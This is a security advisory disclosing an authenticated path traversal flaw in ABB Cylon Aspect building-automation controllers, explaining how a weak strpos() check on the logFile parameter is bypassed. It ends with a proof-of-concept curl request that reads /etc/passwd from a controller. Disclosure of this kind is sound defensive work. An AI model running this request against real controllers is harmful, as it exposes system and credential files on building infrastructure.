ABB Cylon Aspect 3.08.03 (logYumLookup.php) Hybrid Path Traversal


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BAS controller is vulnerable to an authenticated
hybrid path traversal vulnerability in logYumLookup.php due to insufficient
validation of the logFile parameter. The script checks for the presence
of an expected path (/var/log/yum.log) using strpos(), which can be bypassed
by appending directory traversal sequences. This allows an authenticated
attacker to read arbitrary files on the system, potentially exposing sensitive
configuration files, credentials, or logs. The issue stems from a lack of proper
path normalization and strict path validation, enabling attackers to escape
the intended directory restriction.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5948
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5948.php


21.04.2024

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$ cat project

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$ curl "http://192.168.73.31/logYumLookup.php?logFile=/var/log/yum.log../../../../etc/passwd" \
> -H "Cookie: PHPSESSID=xxx"